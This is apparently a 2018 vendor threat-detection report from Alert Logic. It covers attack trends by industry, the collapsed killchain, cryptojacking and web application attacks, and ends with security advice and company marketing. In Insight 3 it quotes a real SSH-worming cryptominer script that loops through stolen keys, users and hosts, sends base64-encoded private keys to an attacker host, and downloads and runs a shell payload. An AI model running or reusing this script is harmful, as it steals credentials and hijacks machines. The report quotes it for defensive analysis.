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EXECUTIVE
SUMMARY
High-profile data breaches continue to make headlines, but the real news is 

the dramatic increase in volume and intensity of cyber attacks now affecting 

organizations of all sizes and types. This profound shift is fueled by technological 

advances on both sides of the cyber battlefield. As organizations accelerate 

the number of systems and applications connected to the Internet, increase IT 

complexity with cloud and hybrid environments, and drive digital transformation, 

they are expanding the attack surface at an unprecedented rate. At the same 

time, bad actors are mastering techniques that allow them to scale their attacks 

like never before.

With its customer base of over 4,000 organizations, Alert Logic has first-hand 

insight into the state of threat detection and response. Drawing from more 

than a billion security anomalies, millions of security events, and over a quarter-

million verified security incidents from April 2017 to June 2018, our research 

has identified five key insights that every business leader, IT leader, and IT 

practitioner should be aware of:

1. The initial phases of the cyber killchain are merging to accelerate 

targeted attacks

2. Industry and size are no longer reliable predictors of threat risk

3. Attack automation and “spray and pray” techniques are aiming at 

everything with an IP address

4. Cryptojacking is now rampant

5. Web applications remain the primary point of initial attack

Read further to learn more about the state of threat  
detection and what you can do to safeguard your organization. ›

OUR REPORT BY 
THE NUMBERS

455 Days 
(April 1, 2017 – June 30, 2018)

254,274 Total 
verified security incidents

7.2M Events 
associated with the incidents

1.2B Anomalies 
reviewed

4,186 Customers 
analyzed
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INSIGHT 1: PHASES OF THE CYBER KILLCHAIN ARE MERGING TO ACCELERATE 
TARGETED ATTACKS
Since 2011, the traditional seven phases of the cyber killchain have mapped the stages of an attack. 

In the traditional model, each killchain phase has a corresponding stage for attempting to interrupt and contain the attack. 

The earlier in the killchain the threat is stopped, the less potential it has to cause harm. The standard response phases are:

Detect: determine whether an attacker is poking around 

Deny: prevent information disclosure and unauthorized access 

Disrupt: stop or change outbound traffic (to attacker) 

Degrade: counter-attack command and control 

Deceive: interfere with command and control 

Contain: network segmentation changes 

(For more information about the traditional cyber killchain, view this video)

KEY INSIGHTS

https://www.alertlogic.com/resources/videos/the-cyber-kill-chain-in-more-detail/
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What we have observed in our new research is that attackers have modified this traditional killchain, effectively collapsing the 

first five phases (reconnaissance, weaponization, delivery, exploitation, installation) into a single action, greatly speeding the 

process of identifying system vulnerabilities and launching a targeted attack.

This approach by adversaries to leverage pre-defined, weaponized packages against known vulnerabilities represents the most 

significant change in the cyber killchain since it was defined. Across the attack data analyzed, Alert Logic saw this technique 

used in 88 percent of cases. This compressed model renders the standard methods of detecting and interrupting an attack 

ineffective. Instead, the attack response must shift from detect and deny to disrupt, degrade, deceive, or contain. 

IN THIS NEW REALITY, THREAT INTELLIGENCE AND A HOLISTIC VIEW OF YOUR 
ENVIRONMENT ACROSS THE ENTIRE ATTACK SURFACE, INCLUDING CLOUD, 

ON-PREMISES, HYBRID SYSTEMS, AND WORKLOADS, IS CRITICAL TO DEFENSE. 
LEARN MORE IN THE EXPERT GUIDANCE SECTION OF THIS REPORT.
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INSIGHT 2: INDUSTRY AND SIZE NO LONGER RELIABLY PREDICT THREAT RISK

For many years, organizations in industries with fewer customers and more limited use of sensitive data were at a lower threat 

risk. The same was true for organizations of a smaller size (e.g. revenue, number of employees). With attackers’ increased access 

to hacking tools, the ever-expanding library of known vulnerabilities, greater use of cloud-based resources, and more systems 

and applications that are accessible via the Internet, this relative safety has evaporated. 

Within specific industries, the scope of attacks varies to some degree due to factors such as compliance requirements and data 

types; however, web application attacks dominate across all industries (see Insight #5 for more information on these attacks). 

The following are insights drawn from a representative sample of the event and attack behavior within each industry group.
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Within this vertical we observed 77 percent were application attacks. 
The bulk of the application attack incidents were SQL injection 
attempts to brute force custom applications and probing attempts to 
find default file paths and management interfaces. A large number 
of customers in this category had exposed SSH, but we observed a 
much lower occurrence of remote desktop protocol exposure than in 
other verticals. 

Application attacks accounted for 66 percent of the activity 
identified in the health services sector. We saw standard 
reconnaissance style and untargeted SQL injection attempts, but 
no web attacks rising to the level of a SOC-handled incident. The 
bulk of web type attacks we categorized as Suspicious Activity 
were probing attempts against CMS and automated vulnerability 
scans. There were a few hosts with exposed SSH services and 
WordPress login pages which were the target of the bulk of the 
brute force attempts we observed.

Application attacks represent 74 percent of all attacks in 
this vertical. WordPress related attacks dominated the brute 
force category, although there was not an excessive volume 
of WordPress vulnerability-related exploitation activity. The 
vast majority of the DOS activity was against Apache and IIS 
webservers directly.

In examining the attacks that factored into this sector, we find 
that application attacks are dominant at 71 percent of all attacks 
and brute force attacks (11 percent) and suspicious activity (11 
percent) are more prevalent in this vertical. The bulk of application 
attack and suspicious activity attacks were typical exploratory SQL 
injection attempts and attempts to guess default file paths, and 
scanning for and successful exploitation of JBoss admin consoles 
and JBoss JMX vulnerabilities. The brute force attempts were 
targeted at exposed FTP and MSSQL servers.
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Cybersecurity hygiene is a set of practices for managing the most common and pervasive cybersecurity risks organization con-

front today. Here is a breakdown the cybersecurity best practices into some guidance centered around these principles:

Knowing what you have is essential to protecting it. All organizations must identify and prioritize key organiza-
tional services, products, and their supporting assets. This inventory should be revisited periodically to keep it up to 
date.

Determine your company’s appetite for risk. Organizations should conduct a baseline risk assessment including 
benchmarking the organization’s risk tolerance as defined by key stakeholders such as the CEO, company lead-
ership, and the Board. During this assessment, companies should identify, prioritize, and respond to risks to the 
organization’s key services and products

Defining an incident response plan (IRP) in advance is essential. Organizations seeking to improve their cyberse-
curity hygiene must establish an incident response plan. In a world where the question isn’t IF you will be hacked, 
but WHEN, you need to be able to respond quickly. Preparing an IRP can make all the difference during a crisis.

Create a culture of security. Conduct cybersecurity education and awareness activities to train staff how to avoid 
being easy pray for attackers and social engineers. Rather than focusing on a ‘blame the user’ mentality, create pro-
grams that make security heroes out of regular employees.

Automate network security and monitoring. By placing a watchful eye on your networks and enterprise systems, 
you can be alerted to early indicators of an attack. You can also document potential probe attacks and other indica-
tors of compromise for future threat hunting.

Follow the principle of least privilege. The principle of least privilege (PoLP; also known as the principle of least 
authority), limits user privileges to those functions and rights sufficient for a user to do their job.  necessities. This 
control helps to limit insider threats, accidental misuse, and the capability of attackers to hop within the system.

Actively manage vulnerabilities. Manage technology changes, implement patches or appropriate compensating 
controls, and document secure configurations. 

Focus on good data stewardship. Implement controls to protect and recover data. Understand where your data 
is stored and, if using a 3rd party, rigorously assess their data security and data protection policies and procedures. 
Remember, you cannot transfer liability for data protection in most cases. Even if you use a 3rd party to handle the 
data, your organization is still responsible for it—especially in the eyes of the customers.

Address vulnerabilities, monitor for malware, and actively protect against attacks. Organizations must perform 
cyber threat and vulnerability monitoring and remediation as well as proactively prevent and monitor for malware 
exposures. Leading organizations should also actively engage in a security program that helps prevent attacks and 
monitors for breaches or system compromises.

Assess the security of your entire security ecosystem. Organizations must manage cyber risks associated with 
suppliers and external dependencies. Proactively inquire about policies and procedures and ask for documentation 
of key steps your business associate has undertaken, like penetration testing.

Application attacks in this vertical represented 80 percent of the 
attack activity. The attacks we observed against companies in this 
segment were very heavily focused on SQL Injection attempts, 
including a high concentration on techniques specific to Oracle 
database servers. The majority of successful attempts we alerted our 
customers about were related specifically to WordPress. Suspicious 
activity was primarily reconnaissance scanning and post-compromise 
activity associated with successful web application attacks. If post-
compromise activity is observed, our analysts quickly identify the 
most likely root-cause and relay the information and remediation 
steps to the customer.
 

The non-profit and not-for-profit sector represented the lowest 
overall volume of all verticals we reviewed, representing only 3 
percent of the attack volume. The brute force activity we saw was 
similar to other verticals in terms of exposed services, but showed a 
much lower volume, across a smaller percentage of our customers’ 
hosts.  Web application attacks mirrored our other verticals in terms 
of diversity of techniques observed, but we did not observe a 
particular focus specific to this group.

Application attacks accounted for 65 percent of all attack activity 
followed by brute force attacks at 13 percent and suspicious 
activity accounting for 11 percent. We observed a high volume of 
application exploit attempts including successful attempts late in 
our reporting period against WordPress, WebLogic, and the widely 
publicized mid-2017 Eternal Blue exploit. We noticed a higher 
than normal exposure of MySQL database servers, and Windows 
management interfaces that accounted for the bulk of the brute 
force attempts.

Application attacks are by far the dominant attack type in this 
industry group, accounting for 85% of all attacks. An analysis of 
the attacks in this vertical revealed aggressive scanning, including 
indicators of extensive directory-guessing techniques and a large 
array of automated SQL injection and vulnerability scanning tools 
employed.
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INSIGHT 3: ATTACK AUTOMATION AND ‘SPRAY AND PRAY’ TECHNIQUES 
ARE BEING DEPLOYED MORE BROADLY

Our research demonstrates a significant uptick in the trend of automated attacks that roll through a set of IP addresses seeking 

vulnerabilities. Once a weakness is found, then the attack begins. While this type of attack is not surprising, and Internet-

accessible IP addresses have long been the favorite targets for reconnaissance, the clear evidence of automation is new and the 

scale at which it is now being used is noteworthy.

The example below shows automation in an attack script where the payload itself contains the attack automations  to recurse 

through the victims network. It is an excerpt from a recent Alert Logic blog that goes into more detail about how cryptominers 

are installed and some of the innovation we have found. The complete blog can be accessed here.

for user in $USERS 
do 
  for host in $HOSTS 
  do 
    for key in $KEYS 
    do 
    ((i++))
 
    if [ “${i}” -eq “10” ]; then sleep 5; - Wait 5 seconds after every 10 attempts and clean up hanging processes
      ps wx|grep “yes”|awk ‘{print $1}’ | xargs kill -9&>/dev/null&  
      ps wx|grep “ssh -o”|awk ‘{print $1}’ | xargs kill -9&>/dev/null& 
      ps wx|grep “$WGET”|awk ‘{print $1}’ | xargs kill -9&>/dev/null& 
      i=0 
    fi;

    chmod +r $key 
    mykey=$(cat $key|base64 -w0) 
    chmod 400 $key 
    me=$(hostname)
 
    
payload=$(echo “.$me.$mykey.$key.$user@$host”) #|base64 -w0) - Perform Brute Force Attempts
echo “ssh -oStrictHostKeyChecking=no -i $key $user@$host” 
yes yes| ssh -oStrictHostKeyChecking=no -i $key $user@$host  “$WGET /dev/null 
 
    $XMHTTP/YEY__$payload;$WGET -O /tmp/.XO-lock $XMHTTP/a.sh;curl -o /dev/null 
    $XMHTTP/CYEY__$payload;curl –o /tmp/.XO-lock $XMHTTP/a.sh; sh /tmp/.XO-lock”& 
  
    done 
  done 
done

In addition, opportunistic hackers have increased broad threat activity significantly. So-called “spray and pray” attackers are 

assaulting organizations at an unprecedented rate. The random nature of attacks has created a threat environment that is so 

aggressive, if there is proof-of-concept (POC) code out there, and your organization is vulnerable, you will be attacked.

https://blog.alertlogic.com/blog/ssh-worming-cryptominer-targets-vulnerable-weblogic-instances/
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INSIGHT 4: CRYPTOJACKING IS NOW RAMPANT

Cryptojacking is a cyberattack in which a hacker hijacks a target’s systems to leverage 

their processing power to mine cryptocurrency. IIn a review of attacks against WebLogic 

Servers we saw overt cryptojacking attempts 88% of the time. The nature of this attack 

is reflected in the Collapsed Killchain, where the entire attack is in delivered at once, or 

without requiring any additional action from the attacker after the initial Exploit, all the 

way through action on objectives even though these attacks were not successful.

While cryptojacking may be seen by some as a minor cybercrime, given that the 

organization’s data is not stolen nor are systems held hostage as in a ransomware 

attack, it indicates the target’s systems are vulnerable to the placement of other 

malicious payloads exposing them to significant risk.

Alert Logic’s security operations team has identified that system hardening and regular patching are the most effective deterrents 

to malicious actors seeking to exploit known software vulnerabilities, as these practices make it harder for adversaries to gain 

access to systems and limit the ability to place cryptominers on systems.

INSIGHT 5: WEB APPLICATIONS REMAIN THE PRIMARY POINT OF ATTACK

As organizations continue to migrate workloads and infrastructure to the cloud, security policies and efforts often lag. The 

increasing use of hybrid environments that include both cloud-based and on-premiseises resources presents even greater 

challenges to the effective application of security policies, especially for organizations with limited security and IT staff resources. 

Attackers have continued to engage in a variety of attack types, yet web application attacks remain the most frequent and 
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dominant type. Overall, we tracked 311 different types of web application attacks with SQL injection attempts comprising 43 

percent of the attacks we observed. 

The leading application attack types we observed during the report period included attacks against popular web applications and 

frameworks such as WordPress, Joomla, Drupal, Magento, JBoss, Apache Struts, Oracle Web Logic and others. The attack activity 

also includes generic web protections including SQL injection, XSS, CSRF, XXE and others.

Our security operations team has worked extensively with customers to minimize the risk of web application attacks over the 

years. Always-on scanning, 24x7 monitoring, and assessment of application configurations and software vulnerabilities both pre- 

and post-deployment remain the most effective methods to minimize risk.

While smaller in number, brute force attacks, also show an increase during the 
analysis period. This observation correlates with the rise of attack automation 
(see Insight #3).

Suspicious activity, while declining as a percentage of overall attacks, 
remains important to capture, log, filter, and analyze as it might indicate new 
attack methods that are flying under the radar and are may be erroneously 
disregarded by strapped security and IT teams as “noise.” 

06-18

We continue to see a low but significant amount of trojan activity in our 
analyzed data set. Trojans are malware that are often disguised as legitimate 
software. These payloads are often delivered via social engineering attacks 
and lay dormant in systems until they are activated. We have seen evidence 
of this delivery in combination with cryptominers as discussed in Insight #4 
above as a significant new potential risk. Observed trojan activity includes: 
known trojan families such as Zeusbot as well as other generic trojan type 
behaviors like cryptomining or lateral movement with DoublePulsar.
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EXPERT GUIDANCE 
IMPROVING POSTURE AND 
REDUCING RISK

Through an analysis of this data, we have developed the following guidance to assist organizations seeking to address their 

security challenges now and to improve their security for the future. Attacks will always evolve, however, by following these 

recommendations, organizations can prevent weaknesses, address known and emerging vulnerabilities, and remain nimble and 

prepared for what comes next. 

Focus on cybersecurity hygiene for better security outcomes. 

Most organizations can improve their security posture dramatically by focusing on the basics. To 

effectively improve security, organizations must embrace security hygiene, including proactive steps like 

patching, monitoring and threat hunting. The security landscape is littered with stories of how unpatched 

vulnerabilities allowed attackers to gain a foothold and hobble organizations. Take, for example, the JBoss 

server attacks. Hackers exploited vulnerabilities that had been identified more than five years earlier to aid 

in the delivery of ransomware. From this vulnerability alone, approximately 3.2 million machines were at risk 

and more than 2,000 machines were victimized by the time news of the attack broke.

Improve visibility in your landscape.

You can’t improve what you can’t see: understanding your assets, liabilities and gaps is essential. Today’s 

reality is that virtually all organizations, even those with the best defenses, have been or will be breached. It 

can also be challenging to get adequate line of sight with a collection of point products that don’t see the 

big picture.  Following are best-practices to improve visibility:

• View the security problem from the bottom up. Vulnerability scanning is essential to a strong 

security program. Understanding your lowest level vulnerabilities and how they can be leveraged to 

access your environment is key to mounting a strong defense. 

• Extend security best practices to any environment and any platform. Modern businesses are 

placing their data in the cloud, in hybrid environments, and on-premiseises to enable business 

efficiencies, cost savings, and anytime, anywhere access. Evaluate solutions that give you visibility 

across all of your environments and can apply security best practices across them. 
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• Confirm configurations to avoid costly errors. Misconfigurations are responsible for up to 35% of 

all breaches. Visibility into host configurations with regular checks can help catch these preventable 

mistakes—or better yet—avoid making them in the first place.

• Take your security ‘pulse’ on a regular basis. Benchmark how your posture is affected by changes 

in your environment. Understanding how you are performing relative to your security plan, your 

posture last week, and peer organizations helps identify and communicate changes in your security 

overall.

• Conduct a quarterly security posture review. Take stock of where you are every quarter to help 

quantify and eliminate risk as you look to improve security over time. Your business partners and 

vendors should be prepared to present you with documentation or a report on the state of security 

to help you understand where things stand.

Focus on continuous, iterative, and incremental security improvements.  

Shareholders, investors, and employees demand transparency, visibility, and understanding of corporate 

security and risk posture. In addition to annual summaries and board reviews, all corporate stakeholders 

should demand evidence of security modernization. Placing a true focus on security requires substantial, 

strategic transformation. 

Large enterprise organizations spend millions on such efforts, incurring both operational and hard costs. 

These organizations still get breached, and the challenge is even harder for organizations with limited 

resources. Look for a vendor partner that can provide more than just a software product, but also includes 

expert services to augment your team’s capabilities and knowledge.

If staffing is your biggest concern, you’ve got to re-think your approach.  

So many organizations struggle with staff issues. Difficult to find and near-impossible to retain, trained 

cybersecurity experts are the industry unicorn. According to a recent Harvard Business Review article, 

“There are no signs that the bad guys are limiting their talent pool — and cybercrime is now a $445 billion 

business.” 

Instead of focusing on hiring staff and leveraging consultants, consider the advantages of a security partner 

that provides an adaptive battle team. By using a resource that can scale to your needs, you can leverage 

the best professional talent, with the right skills at the right time. Capacity gets added and skilled expertise 

is brought to bear at a moment’s notice without even thinking about it. Your chance of winning against 

attackers increases without adding staff overhead. That’s the power of having an adaptive battle team that 

focuses on security 24x7x365.
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When chaos reigns, know your mayhem. 

Having a pre-defined method to describe the stages of malicious activity is 

an essential part of developing a security strategy and creating a cohesive 

response plan. Following a taxonomy to classify events, incidents, and 

attacks is essential to leveraging a clear set of definitions to speed 

communication in times of crisis. In short, you need a common vocabulary. 

Feel free to take a page out of the Alert Logic dictionary to the right.

Focus on managed detection and response  
for the best results.  

Threat detection is a tricky. You can’t effectively protect what you can’t 

see and the longer it takes you to detect and respond to threats, the 

higher the risk and costs to remediate. Getting a holistic view of threats 

across your workloads widens your view of the threat landscape and 

helps identify where your risks are coming from. Working with a managed 

detection and response expert can help augment your staff, improve 

visibility and help ensure you don’t “miss the big one.” Our experts help 

you understand the threats you face in context with modern machine 

learning and human expertise. With expert resources and sophisticated 

tools on your side, you’ll have the perspective you need to decide what 

needs your attention first and which action is the right one to take. At Alert 

Logic, we enable customers to:: 

• Detect more advanced threats across your cloud, hybrid and  

on-premise environments

• Benefit from advanced learning and insights based on managing security for 4,000 clients worldwide 

• Leverage an elite Incident Response team with broad experience and capabilities 

• Gain insights with impactful, modern threat intelligence..

Our threat experts and the Alert Logic solutions are there to help you understand the threats you face in 

context, adding our expertise and threat intelligence to your security team.

EVENT
An event is a finding fired by 
a security control as a result of 
detected suspicious or malicious 
behavior.

INCIDENT
An incident is an event or 
group of events that have been 
confirmed as a valid threat 
warranting further investigation, 
analysis, and potentially a 
response.

BREACH
A breach is an incident that 
results in the confirmed loss of 
data to an unauthorized party.

EXPLOIT
An exploit is a tool or 
technique, often embodied 
in code, that takes advantage 
of a vulnerability such as an 
unpatched software bug or a 
misconfiguration.

ATTACK
An attack is the use of exploits or 
other means to harm, steal from, 
block access to, or otherwise 
wrongly impede a computing 
resource.
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Embrace the three principles of security improvements: Assess, Detect, Respond. 

The traditional approach to security transformation requires a heavyweight and often-costly cycle of hiring 

a group of security, risk, compliance, and legal experts to assess the status of various deployments against 

common regulations, standards, and principles. These reviews typically follow a pre-established list of 

questions and established processes, often leaving the door open to crucial gaps in the security process.

Organizations of all sizes are seeing significant security improvements with lower costs by implementing 

security and risk best practices throughout a lifecycle of assessment, threat detection and coordinated 

response. Consistent, pervasive, always-on delivery is crucial to the success of this approach. Organizations 

that implement systems to support these priorities excel at detection, protection, and prevention and 

ultimately reduce their risks and operational costs.

To assist organizations seeking to follow a more modern, nimble approach, Alert Logic has developed a 

security lifecycle model to help organizations address their security gaps, expand their efforts, and begin 

improving security within hours of deployment.

ABOUT ALERT LOGIC
Alert Logic was founded in 2002 by a visionary group of security professionals who saw a need in the security industry—a multi-tenant 
security solution that could serve companies of all sizes, in all industries. The brains behind this security startup were compelled to 
deliver a solution to that very security problem and created Alert Logic.

After launching their first Security Operations Center from a couch and starting to monitor their client’s infrastructure for signs of attack 
24x7, the team grew and entered into a series of partnerships that redefined Security-as-a-Service across the industry. Today, Alert 
Logic stands as a leader in providing managed security services around the globe.

Alert Logic delivers better cybersecurity for everyone, regardless of company size or technology environment. Our proactive threat 
management platform deploys in minutes; our threat intelligence and security content are continuously expanding and always-current; 
and our analysts obsess about your security and compliance posture 24x7. That’s why more than 4,000 organizations trust their security 
every day to Alert Logic.

Improved Visibility
Scanning

Configuration
Security Posture Reviews 

Network, Process, File, 
and Log-Based Threat Detection

24x7 Triage, Escalation and Response 
Support

Security Posture Review
Audit-Ready Compliance Reports

Web App Protection

Managed Detection 
and Response
Threat Hunting

Dedicated Security Coach 
to Assist You with Triage, 

Prioritization, and Threat Analysis
Threat and Vulnerability Analysis

The Alert Logic Security Lifecycle
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